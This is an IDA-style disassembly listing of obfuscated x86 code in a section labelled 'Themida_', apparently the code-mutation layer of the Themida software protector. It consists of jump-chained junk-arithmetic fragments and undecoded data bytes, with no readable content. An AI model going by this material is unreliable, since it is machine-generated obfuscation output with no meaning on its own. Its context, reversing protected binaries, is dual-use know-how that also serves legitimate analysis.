; ---------------------------------------------------------------------------
loc_571B96: ; CODE XREF: Themida_:0056F6A5j
sub esp, 4
mov [esp], edx
mov edx, 5C8E2C03h
add [esp+4], edx
mov edx, [esp]
add esp, 4
pop edi
sub edi, 5C8E2C03h
mov esi, [esp]
jmp loc_56D61E
; ---------------------------------------------------------------------------
dw 52ADh
dd 0D32E7DBAh, 4EC8354h, 2E85E9h
db 0
; ---------------------------------------------------------------------------
loc_571BC9: ; CODE XREF: Themida_:005695C3j
push 5C15h
jmp loc_5749AB
; ---------------------------------------------------------------------------
db 81h
dd 4ECh, 240C8900h, 0BB53E189h, 54221361h, 0FFE3B0E9h
dd 5BDA21FFh, 0FF6F74E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_571BF1: ; CODE XREF: Themida_:00565AF4j
sub eax, 53D0073Ch
jmp loc_564B87
; ---------------------------------------------------------------------------
db 81h
dd 344EB4EAh, 14335D6Ah, 910E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_571C0A: ; CODE XREF: Themida_:0056D69Dj
add esi, 4
jmp loc_575127
; ---------------------------------------------------------------------------
db 53h, 0B7h, 2
dd 6866h, 8A243C28h, 0C483243Ch, 68526602h, 4EEFh, 0FFCD09E9h
dd 3E9C1FFh, 519B68h, 24048900h, 1875BD55h, 0CDB84878h
dd 31455F0Dh, 0F90D5DE8h, 55179C23h, 0BF37FABDh, 0A6A0E91Fh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_571C5A: ; CODE XREF: Themida_:005636BBj
pop ebx
jmp loc_567B4B
; ---------------------------------------------------------------------------
dd 2EE9C829h
db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_571C67: ; CODE XREF: Themida_:0056CFBAj
push eax
mov ah, 5
not ah
or ah, 65h
dec ah
sub ah, 83h
sub ah, 0D9h
sub ah, 0CFh
sub bl, ah
jmp loc_56DFF8
; ---------------------------------------------------------------------------
aWUkrs@ db 'W¿%ukréÈ@',0
align 4
loc_571C8C: ; CODE XREF: Themida_:00568F53j
sub eax, edi
pop edi
add eax, ebp
push ebp
mov ebp, 27A026Eh
add eax, 416A0DABh
add eax, ebp
push ebx
mov ebx, 416A0DABh
sub eax, ebx
pop ebx
pop ebp
pop ebp
xor ebx, eax
push dword ptr [esp]
pop eax
jmp loc_56D8D0
; ---------------------------------------------------------------------------
dd 0E98023B1h, 71B652DEh, 20B8C680h, 24148BF1h, 8004C483h
dd 0B050ADE9h, 58C13016h, 0C8BCE28h, 4C48124h, 53000000h
dd 2AE9F388h, 51FFFF3Dh, 4B9h, 59CA0100h, 4C281h, 14870000h
dd 24248B24h, 525368h, 241C8900h, 42474FFh, 52241C8Bh
dd 0C281E289h, 4, 0E904C283h, 0FFFF005Ah
; ---------------------------------------------------------------------------
loc_571D18: ; CODE XREF: Themida_:00563847j
mov [esp], ecx
mov ecx, esp
jmp loc_5709DA
; ---------------------------------------------------------------------------
dw 7768h
dd 89000015h, 0FFE9243Ch
db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_571D2F: ; CODE XREF: Themida_:0056B753j
pop esp
push ebx
push 478378A8h
pop ebx
sub ebx, 1
push 51Eh
mov [esp], eax
push ebp
mov ebp, 4FB208D1h
xor ebp, 579C7935h
shl ebp, 1
shl ebp, 3
sub ebp, 7ED3E3F6h
mov eax, ebp
pop ebp
push ebp
push esp
pop ebp
jmp loc_57210B
; ---------------------------------------------------------------------------
db 9
dd 243C8BF9h, 0E904C483h, 2A75h, 6CF78058h, 8015F780h
dd 0E78051C7h, 0FEF786F9h, 80F786C6h, 0EC80FEEFh, 0E9FC28A7h
dd 4103h, 0E924048Bh, 0FFFFEEEFh, 4E0A23B8h, 58C68935h
dd 3192E9h, 244C0100h, 565B5904h, 7667F9BEh, 0F4FAE946h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_571DBA: ; CODE XREF: Themida_:00576394j
pop esp
xchg ebp, [esp]
push dword ptr [esp]
jmp loc_56359F
; ---------------------------------------------------------------------------
dw 26BFh
dd 51503279h, 0DF71F0B9h, 59CA293Dh, 0FFE41FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_571DD9: ; CODE XREF: Themida_:0056E425j
or ecx, 176D34D6h
jmp loc_562D63
; ---------------------------------------------------------------------------
dd 3C7E0A2Dh, 0E9D80122h, 0FFFFBD83h, 5DE80158h, 0E904C083h
dd 0FFFF065Fh, 8B242C87h, 9BE92424h
db 0FFh, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_571E07: ; CODE XREF: Themida_:005676D8j
pop edx
add edx, 4
push esi
mov esi, 55EF3710h
push ecx
jmp loc_56EB9B
; ---------------------------------------------------------------------------
loc_571E1A: ; CODE XREF: Themida_:0056F92Aj
pop edx
add esp, 4
add [esp+4], ecx
pop ecx
jmp loc_572218
; ---------------------------------------------------------------------------
db 5Dh
dd 2474FF57h, 1D13E904h, 0E9590000h, 0FFFF48B5h
; ---------------------------------------------------------------------------
loc_571E3C: ; CODE XREF: Themida_:00561248j
mov ebp, [esp]
add esp, 4
jmp loc_56E4B0
; ---------------------------------------------------------------------------
db 89h
dd 4C281E2h, 83000000h, 0E5E904C2h, 58FFFFC8h, 2FCFE9h
db 0
; ---------------------------------------------------------------------------
loc_571E5D: ; CODE XREF: Themida_:00565987j
xor edi, ebx
pop ebx
push edi
pop eax
jmp loc_56BAF4
; ---------------------------------------------------------------------------
db 53h
dd 183FE957h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_571E6E: ; CODE XREF: Themida_:00566D77j
mov esp, [esp]
shr eax, 0Ah
xor eax, ecx
push 37A2h
mov [esp], eax
jmp loc_5652D1
; ---------------------------------------------------------------------------
loc_571E83: ; CODE XREF: Themida_:0056ADF1j
mov edx, 732F562Ch
sub edx, 7BC92C0Eh
shr edx, 1
jmp loc_56CC1F
; ---------------------------------------------------------------------------
db 31h, 0D1h, 0E9h
dd 0FFFFCA91h, 4C48159h, 50000000h, 0FF9370E9h, 89DF89FFh
dd 8DE95FF9h, 1FFFFA3h, 4BC181F1h, 81171F74h, 4ECh, 24148900h
dd 3688BB53h, 0DA89454Bh, 5AD1295Bh, 2B4DBB53h, 0C3813C1Eh
dd 2110F50Ch, 8B5BD901h, 0C7E92434h, 66FFFF89h, 5524048Bh
dd 50E28952h, 467745B8h, 2E8C11Ch, 0BB5C1235h, 0AC6E958h
dd 0C483FFFFh, 240C8B02h, 4C481h, 88E90000h, 81FFFFB9h
dd 4C1h, 0D8E95000h, 8B000044h, 0B1E92434h, 51FFFF6Fh
dd 0B4BE9h
db 0
; ---------------------------------------------------------------------------
loc_571F2D: ; CODE XREF: Themida_:00564F7Ej
add eax, esi
pop esi
push esi
mov esi, 44E45785h
push ecx
jmp loc_56659E
; ---------------------------------------------------------------------------
dd 0DB5BB4B8h, 40D8F72Fh, 0BBBA5248h, 8128186Fh, 7147A9E2h
dd 14F7E927h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_571F56: ; CODE XREF: Themida_:0056F8A4j
mov esi, 2FF2685Bh
add esi, 15A0207Fh
or esi, 75CB631Dh
sub esi, 568DCA30h
sub eax, esi
pop esi
pop ebp
mov edx, [esp]
add esp, 4
push ebp
mov ebp, 4
add eax, ebp
pop ebp
jmp loc_56F7ED
; ---------------------------------------------------------------------------
loc_571F88: ; CODE XREF: Themida_:005615C9j
pop esi
xchg esi, ebp
xor [esp], ebp
xor ebp, [esp]
xor [esp], ebp
mov eax, [esp]
add esp, 4
jmp loc_57633C
; ---------------------------------------------------------------------------
dw 0F281h
dd 434214B8h, 1E5BEA81h, 0C2815499h, 0E451AAB7h, 0E95AD301h
dd 0FFFF9EC2h, 0BB55150h, 82B15150h, 809AC980h, 0CC88ECE9h
dd 62E95259h
db 37h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_571FD3: ; CODE XREF: Themida_:005642DEj
xor [esp], ebx
xor ebx, [esp]
pop esp
push 2BEBh
mov [esp], ecx
jmp loc_565B76
; ---------------------------------------------------------------------------
db 29h
dd 0F4F7E9FAh, 0C381FFFEh, 4, 8704C383h, 0E2E9241Ch
db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_571FFF: ; CODE XREF: Themida_:0056AEF7j
not al
inc al
shr al, 6
add al, 0F0h
jmp loc_56CFB1
; ---------------------------------------------------------------------------
db 89h, 1Ch, 24h
dd 1831E9h
db 0
; ---------------------------------------------------------------------------
loc_572015: ; CODE XREF: Themida_:0056E211j
add al, cl
add al, 65h
mov ecx, [esp]
add esp, 4
mov ebx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
mov esp, [esp]
add bl, 0D3h
push dx
jmp loc_571579
; ---------------------------------------------------------------------------
dd 1DBD5558h, 297BEC0Fh, 4C6FE9E8h, 0BD55FFFFh, 636960F4h
dd 8246C29h, 0EE53E95Dh, 0F381FFFFh, 108C7D09h, 4FB0EB81h
dd 3FE93EF2h
db 0F3h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_57206F: ; CODE XREF: Themida_:00563ED0j
pop esp
push 1177h
mov [esp], edi
pop eax
push dword ptr [esp]
mov edi, [esp]
jmp loc_57110C
; ---------------------------------------------------------------------------
dd 8903F681h, 0F229552Ah, 55F4E95Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_572092: ; CODE XREF: Themida_:0056EF97j
push 177Dh
mov [esp], esi
push dword ptr [esp+4]
pop esi
jmp loc_56FFBF
; ---------------------------------------------------------------------------
loc_5720A4: ; CODE XREF: Themida_:0056C50Fj
pop edx
add esi, ecx
push edx
jmp loc_565CBE
; ---------------------------------------------------------------------------
loc_5720AD: ; CODE XREF: Themida_:00567B53j
pop esi
jmp loc_574B50
; ---------------------------------------------------------------------------
db 89h
dd 87E92404h, 1FFFEEFh, 241C8BD9h, 5E08950h, 4, 8704C083h
dd 0E95C2404h, 0FFFF3858h
; ---------------------------------------------------------------------------
loc_5720D4: ; CODE XREF: Themida_:00562669j
mov ebx, 308B0508h
add ebx, 11312C70h
or edi, ebx
push dword ptr [esp]
jmp loc_57699A
; ---------------------------------------------------------------------------
db 29h, 0DAh, 5Bh
dd 16F6E981h, 2FE975E9h, 8900001Fh, 12E92404h, 8BFFFF11h
dd 0F662424h, 0BAE9C8AFh
db 50h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_57210B: ; CODE XREF: Themida_:00571D62j
add ebp, 4
sub ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
mov [esp], ebp
jmp loc_568BE3
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 1D8EE900h, 0CD290000h, 0FF203DE9h, 24E951FFh
dd 51000029h, 0C180C6B1h, 7E1C0BFh, 0E980D1F6h, 59CC8817h
dd 19E9ECD0h
db 2Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_57215B: ; CODE XREF: Themida_:0056B1B1j
sub al, ch
mov cx, [esp]
push ebx
jmp loc_572C47
; ---------------------------------------------------------------------------
db 5Fh
dd 68240429h, 6692h, 56242C89h, 57C2ABEh, 0E421E96Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_57217E: ; CODE XREF: Themida_:00570360j
add ecx, edi
pop edi
add ecx, 4
xchg ecx, [esp]
mov esp, [esp]
pop esi
push esi
not dword ptr [esp]
pop esi
xchg esi, ecx
xor [esp], ecx
xor ecx, [esp]
xor [esp], ecx
push dword ptr [esp]
pop ecx
push edi
jmp loc_56C83D
; ---------------------------------------------------------------------------
dd 0E95AD329h, 0FFFFB9E7h, 48E9EB31h
db 4, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5721B7: ; CODE XREF: Themida_:0056D000j
xchg ecx, [esp]
mov esp, [esp]
mov [esp], eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
jmp loc_57101B
; ---------------------------------------------------------------------------
db 5Fh, 81h, 0C3h
dd 879377Fh, 0A9E9F301h, 81FFFF35h, 4C4h, 24048700h, 2404D25Ch
dd 0EE54E99Ch
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5721EE: ; CODE XREF: Themida_:00563BC9j
mov ecx, esi
pop esi
not ecx
jmp loc_562864
; ---------------------------------------------------------------------------
dd 42474FFh, 0E92434FFh, 100Fh, 81243C8Bh, 4C4h, 4C48100h
dd 0E9000000h, 0C99h
; ---------------------------------------------------------------------------
loc_572218: ; CODE XREF: Themida_:00571E26j
mov eax, [esp]
jmp loc_575B24
; ---------------------------------------------------------------------------
loc_572220: ; CODE XREF: Themida_:0056EAA0j
and esi, 4286520Ch
xchg edi, esi
jmp loc_56D9D8
; ---------------------------------------------------------------------------
aSk_0 db ')ÚéŠ%',0
align 4
dd 0E9F90159h, 0FFFF7E49h
; ---------------------------------------------------------------------------
loc_57223C: ; CODE XREF: Themida_:00563E96j
mov ebp, 2DC22D29h
sub esi, ebp
pop ebp
mov edx, esi
mov esi, [esp]
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ebx
push esp
pop ebx
add ebx, 4
add ebx, 4
xor ebx, [esp]
jmp loc_565B29
; ---------------------------------------------------------------------------
dw 105h
dd 0F7000000h, 583B68D0h, 34890000h, 31856824h, 0E95E3C00h
dd 0FFFF190Dh, 8704C283h, 76E92414h, 2DFFFF66h, 703B1BD3h
dd 0D305E829h, 0E9703B1Bh, 0FFFF11F9h, 0B850DBF7h, 52D94887h
dd 0EADBB035h, 58C301D4h, 295BD801h, 0EE8158C6h, 0AD6A04DAh
dd 34FFF129h, 6864E924h, 34FFFFFFh, 0EC815824h, 4, 89241C89h
dd 4C381E3h, 81000000h, 4C3h, 74FF5300h, 1C8B0424h, 0CC1DE924h
dd 0D2F7FFFFh, 8106EAC1h, 0F13324CAh, 0C0EA817Dh, 8136EF5Eh
dd 520BB4E2h, 43EBE941h, 47680000h, 0E9000008h, 0FFFF6C7Dh
dd 0EA80CAB2h, 6A2CA0h, 0F592E9D0h, 6E68FFFEh, 0E9000067h
dd 0FFFF2A76h, 2DF7E956h, 0E95BFFFFh, 0FFFF5585h
; ---------------------------------------------------------------------------
loc_572340: ; CODE XREF: Themida_:00575997j
mov cl, bl
mov al, cl
pop ecx
jmp loc_5769A7
; ---------------------------------------------------------------------------
dw 0E954h
dd 0FFFF3B34h
; ---------------------------------------------------------------------------
loc_572350: ; CODE XREF: Themida_:0056A991j
push ecx
mov ecx, 77D607E5h
dec ecx
push ebp
jmp loc_5708CE
; ---------------------------------------------------------------------------
db 68h, 2 dup(0)
dd 2C290000h, 37E95D24h, 81FFFFC1h, 695338C3h, 8BD989B7h
dd 0C483241Ch, 0A9D2D04h, 0C8290669h, 690A9D05h, 2434FF06h
dd 0E1895159h, 4C181h, 0E9810000h, 4, 0E9240C87h, 0FFFF5A27h
dd 8924248Bh, 97E9240Ch, 68FFFEECh, 11B1h, 53241C89h, 0FF5D2FE9h
dd 8BDD89FFh, 768241Ch, 89000000h, 0E0892404h, 405h, 4C08300h
dd 3B41E9h, 48B6600h, 0E9565524h, 24Eh, 15DEE29h, 4EBD55FEh
dd 81053F29h, 186A34EDh, 90CD817Ch, 810C9052h, 0CA7C98EDh
dd 0DAE94D39h, 66FFFF9Eh, 4BE9F829h, 2DFFFF73h, 4, 378AE9h
dd 24048900h, 0FF37EBE9h, 81E189FFh, 4C1h, 4C18100h, 87000000h
dd 248B240Ch, 0EC0CE924h, 431FFFEh, 24043324h, 242C895Ch
dd 6F1068h, 0E058E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_57244A: ; CODE XREF: Themida_:00562899j
push edx
mov edx, 2DC22D29h
add [esp+4], edx
push dword ptr [esp]
pop edx
add esp, 4
pop esi
jmp loc_563E95
; ---------------------------------------------------------------------------
loc_572461: ; CODE XREF: Themida_:0057454Dj
add ecx, ebx
pop ebx
xchg ecx, [esp]
pop esp
sub edx, 27023B98h
add edx, esi
push ebp
mov ebp, 27023B98h
add edx, ebp
pop ebp
mov esi, [esp]
add esp, 4
xchg edx, [esp]
pop esp
push ebx
push edx
mov edx, 72281Eh
jmp loc_5691EE
; ---------------------------------------------------------------------------
dw 8BB1h
dd 0CB303FB3h, 8BDE8859h, 0C483241Ch, 50CEFE04h, 0FFD7D5E9h
dd 16E954FFh, 8900003Fh, 0B6E92424h, 55FFFF26h, 4F68E4BDh
dd 0FFED8323h, 7AE5814Dh, 810D283Fh, 53F889EDh, 8BEA297Ch
dd 0C481242Ch, 4, 47E9D389h, 29FFFF8Fh, 0F9BF57D0h, 0E9472B65h
dd 0FFFFD8F5h, 4C481h, 12680000h, 8900001Ah, 0A3E92414h
dd 81FFFEF5h, 4C5h, 4ED8100h, 0E9000000h, 0FFFFE35Eh, 240C8B66h
dd 8904EC83h, 0E954240Ch, 0FFFF6849h, 81CF2958h, 0F94AA3EFh
dd 0ECC78100h, 0E901F07Ch, 0FFFEF1BBh, 240C8B66h, 537068h
dd 6F70E900h, 1C8BFFFFh, 1FE95124h, 83FFFF6Dh, 4AE901EBh
db 0Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_572553: ; CODE XREF: Themida_:00566336j
sub ah, 76h
shr ah, 3
push bx
jmp loc_572CC1
; ---------------------------------------------------------------------------
dd 0EB368ABBh, 0F1E6E975h, 0C601FFFFh, 14B1C681h, 0EE811FF1h
dd 78242E83h, 8124048Bh, 4C4h, 28BD5500h, 816D235Fh, 840E97F5h
dd 0E4ED816Ah, 29206165h, 242C8BEEh, 0FF11F5E9h, 0C8B66FFh
dd 58685224h, 89000003h, 4812424h, 424h, 0C2815A00h, 4
dd 5204EA83h, 42474FFh, 0FF2AE9E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5725C5: ; CODE XREF: Themida_:00562029j
xchg edx, ebx
push ebp
mov ebp, 338C218Bh
sub ebp, 0B388BA6Ch
jmp loc_56842E
; ---------------------------------------------------------------------------
loc_5725D8: ; CODE XREF: Themida_:0056E773j
mov esp, [esp]
jmp loc_56D66E
; ---------------------------------------------------------------------------
loc_5725E0: ; CODE XREF: Themida_:0056C0A3j
push esp
jmp loc_56C256
; ---------------------------------------------------------------------------
loc_5725E6: ; CODE XREF: Themida_:0056862Dj
pop ecx
add esp, 4
jmp loc_5620AD
; ---------------------------------------------------------------------------
db 68h
dd 6F48h, 52241C89h, 76E95A54h, 5DFFFF91h, 0C15BDA89h
dd 0E94208E2h, 0FFFFC268h
; ---------------------------------------------------------------------------
loc_57260C: ; CODE XREF: Themida_:00562719j
mov eax, [esp]
add esp, 4
jmp loc_568715
; ---------------------------------------------------------------------------
dw 34FFh
dd 47E95824h, 81FFFF8Eh, 4C1h, 0DC13E900h, 5E54FFFFh, 0FF83FEE9h
dd 0FFFFBFFFh, 0FB01FFFFh, 8EBC15Fh, 83E9504Bh
db 2Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_572647: ; CODE XREF: Themida_:0056EA04j
add ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
jmp loc_5614D5
; ---------------------------------------------------------------------------
loc_572658: ; CODE XREF: Themida_:0056C610j
pop esi
shr esi, 4
add esi, 444D45AFh
sub esi, 0F9897248h
push esi
mov ebx, [esp]
add esp, 4
pop esi
or ebx, 414F5AB1h
push 1335h
mov [esp], esi
mov esi, 58E73F34h
jmp loc_569675
; ---------------------------------------------------------------------------
loc_57268B: ; CODE XREF: Themida_:005685EBj
neg edi
jmp loc_562473
; ---------------------------------------------------------------------------
dw 53BFh
dd 0E9065D7Dh, 0FFFEFAFFh
; ---------------------------------------------------------------------------
loc_57269C: ; CODE XREF: Themida_:0057539Bj
sub esi, ecx
pop ecx
sub esi, 3285573Ah
jmp loc_56F5A0
; ---------------------------------------------------------------------------
dw 0EF81h
dd 12717E17h, 34E9F701h, 83FFFF12h, 0BA5204C4h, 4, 6C63C781h
dd 0C7814BECh, 448420D5h, 0BD55D701h, 448420D5h, 0E95DEF29h
dd 0FFFF720Ah, 815FFA01h, 4C2h, 24148700h, 5FE1815Ch, 57262A07h
dd 0FB968h, 242C8900h, 0ED739ABDh, 45DDF74Dh, 739AC581h
dd 0EF894DEDh, 8BF9015Dh, 0C483243Ch, 0D5E18104h, 535FA26Ah
dd 6EB8B850h, 0C3896517h, 8BD93158h, 0C483241Ch, 59CF8904h
dd 34FFF831h, 60E95F24h, 59000035h, 30CDE952h, 0D020FFFFh
dd 8324148Bh, 0BD3404C4h, 2858C700h, 0B81FE9F8h, 0EE81FFFFh
dd 1A1E1D68h, 0C8E9DE29h
db 7, 2 dup(0)
; ---------------------------------------------------------------------------
loc_57275F: ; CODE XREF: Themida_:0057356Ej
pop ebp
jmp loc_574497
; ---------------------------------------------------------------------------
aMh db 'MhÄ]',0
dw 8900h
dd 1BB9240Ch, 3147056Ah, 0EC8359CDh, 24348904h, 6072EABEh
dd 54C68107h, 502EF76Ch, 0D57355B8h, 84A250Dh, 0B2E95A8Dh
dd 81FFFFECh, 4ECh, 24148900h, 1E68E289h, 89000039h, 8353243Ch
dd 148904ECh, 7E716824h, 0F75A3D57h, 0CBEA81D2h, 89788D69h
dd 7AC0E9D3h, 1489FFFFh, 0E99C5024h, 0FFFEE872h, 47BC68h
dd 48F5400h, 24048124h, 4, 0FF5373E9h, 31F531FFh, 14F755EEh
dd 0EE315D24h, 0EE31F531h, 743DC681h, 0E6C132DDh, 4C68108h
dd 0E992C4C9h, 0FFFF5E40h, 5CE9F801h
db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_57280F: ; CODE XREF: Themida_:005648E7j
mov [esp], ebx
jmp loc_56813F
; ---------------------------------------------------------------------------
db 8Fh
dd 9EE92404h, 59FFFF9Eh, 0FEE966E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_572825: ; CODE XREF: Themida_:00573766j
inc edx
xor edx, 0A14257AEh
add [esp+8], edx
pop edx
jmp loc_5624FA
; ---------------------------------------------------------------------------
dw 0CAFEh
dd 0E946F280h, 0FFFFE9F1h, 81EA0158h, 0B50D43EAh, 0E0E95D1Fh
db 9, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_57284F: ; CODE XREF: Themida_:00569DDBj
inc edi
shr edi, 5
add edi, 4F4BFF48h
add eax, edi
pop edi
xor eax, 185E26A9h
sub edx, 51DC339Dh
add edx, eax
jmp loc_573412
; ---------------------------------------------------------------------------
dw 15Ch
aHmg db 'Âh¬g',0
align 2
dw 3C89h
dd 15CFBF24h, 63E95C74h
db 74h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_572883: ; CODE XREF: Themida_:00574AECj
; DATA XREF: ___:0043F6F9o
shr eax, 7
shl eax, 7
xor eax, 3C9E9ADAh
xor ecx, eax
pop eax
add ebx, ecx
pop ecx
push edi
push eax
mov eax, 17CC670Dh
jmp loc_561FFD
; ---------------------------------------------------------------------------
loc_5728A0: ; CODE XREF: Themida_:0056FC25j
add esi, 28D90F32h
mov edx, esi
pop esi
sub eax, edx
mov edx, [esp]
add esp, 4
sub esp, 4
jmp loc_567B76
; ---------------------------------------------------------------------------
loc_5728B9: ; CODE XREF: Themida_:0057627Aj
push edx
mov edx, 5CBC28F5h
neg edx
xor edx, 0DB301AEh
jmp loc_573760
; ---------------------------------------------------------------------------
dd 0E95FFA01h, 0FFFFF959h, 4C381h, 0C3830000h, 241C8704h
dd 4FF535Ch, 0D3F75B24h, 0FF9E7AE9h, 55D3F7FFh, 0A11A4EBDh
dd 5DEB3104h, 726E68h, 0B163E900h, 0E3C1FFFFh, 35C38107h
dd 0E9769955h, 0FFFF7C28h, 0C181E189h, 4, 4E981h, 0C870000h
dd 0C895C24h, 8094B524h, 0E6E9C0F5h, 5F00001Bh, 7FAFE981h
dd 0F1017C9Dh, 7FAFC181h, 0E9817C9Dh, 3813510Dh, 5E2434FFh
dd 4C481h, 88E90000h, 11h, 0BFB050F3h, 6D0C4604h, 0F72C3524h
dd 48BC300h, 4C48324h, 1B0505Ah, 0C004E0C0h, 2E906E8h
dd 0B8FFFFA4h, 2C910376h, 0F75AD001h, 363B25D8h, 0BA52623Eh
dd 70AB05D0h, 5966F281h, 0E2817F06h, 14B403B9h, 0FFF959E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_57299D: ; CODE XREF: Themida_:00563083j
mov eax, 41AD1CE1h
push ebx
jmp loc_566D00
; ---------------------------------------------------------------------------
dd 0E9241C89h, 0FFFFCC16h
; ---------------------------------------------------------------------------
loc_5729B0: ; CODE XREF: Themida_:0056B3D9j
xchg edx, [esp]
pop esp
push 7C08h
mov [esp], ebx
jmp loc_571B51
; ---------------------------------------------------------------------------
db 66h, 8Bh, 0Ch
dd 47E95524h, 0C1FFFEF7h, 0F18107E9h, 3F643FA3h, 0FF70F181h
dd 0CB017967h, 1C335859h, 241C3124h, 8B241C33h, 34FF2424h
dd 2434FF24h, 4C48359h, 0E904EC83h, 0FFFFF6FBh, 0ED81D501h
dd 362E49BFh, 3AE5815Ah, 551CF81Bh, 5D2414F7h, 0E8E1ED81h
dd 0C781FB07h, 22FE1701h, 13DCE9h, 16B5BE00h, 4A05116Ah
dd 0E926C642h, 283Fh, 8904EC83h, 23BB241Ch, 29AC4AC4h
dd 0FA015BDFh, 4C2835Fh, 0FFB001E9h, 752C5AFFh, 36C6E953h
dd 481FFFFh, 424h, 0C1815900h, 4, 4E981h, 0C870000h, 34895C24h
dd 1366BE24h, 0E94657C5h, 0FFFFCC40h, 240C8B5Fh, 3104C483h
dd 5F04247Ch, 3BD555Ah, 81241535h, 583A82EDh, 9963E978h
dd 248BFFFFh, 0C896624h, 0E9C1B124h, 0FFFF9C24h, 5C241C87h
dd 1296BA52h, 0D72907F9h, 81CF015Ah, 0F91296C7h, 76685907h
dd 89000050h, 6857240Ch, 2, 5FF9895Fh, 7CECEF81h, 545501F0h
dd 4C5815Dh, 0E9000000h, 0FFFFBD67h
; ---------------------------------------------------------------------------
loc_572AE0: ; CODE XREF: Themida_:00568A6Fj
pop eax
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_5667F6
; ---------------------------------------------------------------------------
dw 0D089h
dd 5024148Bh, 405E089h, 83000000h, 48704C0h, 0FD355C24h
dd 8110C955h, 4F586AE9h, 77C1815Bh, 1352862h, 65A3E9C1h
dd 0E95DFFFFh, 0FFFFBAD1h, 0FE1DE95Fh, 4D3FFFEh, 0EDE99C24h
dd 81FFFEFEh, 4ECh, 24148900h, 0C281E289h, 4, 4B850h, 0EA810000h
dd 69BD401Dh, 0FF9D5BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_572B55: ; CODE XREF: Themida_:00566AEBj
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
push ecx
mov ecx, 1
and eax, ecx
push dword ptr [esp]
pop ecx
push 20F8h
jmp loc_57483E
; ---------------------------------------------------------------------------
dw 0EC83h
dd 243C8904h, 0FFEC15E9h, 31DF31FFh, 0E9D7F7FBh, 0FFFF32FAh
dd 42474FFh, 24048F5Ah, 0FFEA835Ah, 30AFE951h, 6658FFFFh
dd 2879B252h, 525A66D3h, 0D3283BB2h, 0D69FE95Ah, 0BE56FFFFh
dd 7962C02Ch, 0DB698F05h, 78C02D03h, 48E959EDh
db 70h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_572BCB: ; CODE XREF: Themida_:00566EAFj
push dword ptr [esp]
pop edx
push 5459h
mov [esp], ebx
jmp loc_5631F7
; ---------------------------------------------------------------------------
dd 34FF5A57h, 61E95F24h, 0FF00000Bh, 34FF2434h, 0ECE95824h
dd 81FFFEFFh, 893692E5h, 0F75FE949h, 815AFFFFh, 4C4h, 0E9F23100h
dd 128Dh, 0EB81FB01h, 777B1F90h, 47FF685Fh, 0C890000h
dd 2B924h, 0EB810000h, 0B6D14A4h, 1E7BEB81h, 0CB01422Ch
dd 61AEB850h, 260536BEh, 3518874Dh, 0D69B0AFh, 0C5E9C301h
db 16h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_572C47: ; CODE XREF: Themida_:00572162j
mov ebx, esp
add ebx, 4
add ebx, 2
jmp loc_56B1F6
; ---------------------------------------------------------------------------
dw 895Ch
dd 0E0892404h, 405h, 4EC8100h, 0E9000000h, 0FFFF419Ch
; ---------------------------------------------------------------------------
loc_572C70: ; CODE XREF: Themida_:0056E122j
xor esi, 4E0B0761h
shr esi, 1
push eax
mov eax, 7BEB2766h
jmp loc_567983
; ---------------------------------------------------------------------------
loc_572C83: ; CODE XREF: Themida_:0056273Cj
mov esp, [esp]
btc [esp], ax
pushf
jmp loc_561042
; ---------------------------------------------------------------------------
db 80h, 0C3h, 2Ch
dd 0EB805A66h, 452FE9C7h, 0F581FFFFh, 5D3829C7h, 0FFA17AE9h
dd 53D8BEFFh, 0CE812460h, 9776CACh, 0FFDEAAE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_572CB9: ; CODE XREF: Themida_:0056F138j
push edx
mov edx, esp
jmp loc_56691B
; ---------------------------------------------------------------------------
loc_572CC1: ; CODE XREF: Themida_:0057255Bj
mov bl, 9
jmp loc_563544
; ---------------------------------------------------------------------------
loc_572CC8: ; CODE XREF: Themida_:0056D7DCj
mov [esp], edi
push ecx
jmp loc_576923
; ---------------------------------------------------------------------------
loc_572CD1: ; CODE XREF: Themida_:00573795j
xchg edx, [esp]
jmp loc_56BB2B
; ---------------------------------------------------------------------------
db 81h, 0E7h, 8Dh
dd 0E920A912h, 1A2Ah, 8EAC14Ah, 6E2CEA81h, 0BA52003Bh
dd 56ED6456h, 0E907E2C1h, 0FFFF61B9h, 0EC8044B4h, 72E480DFh
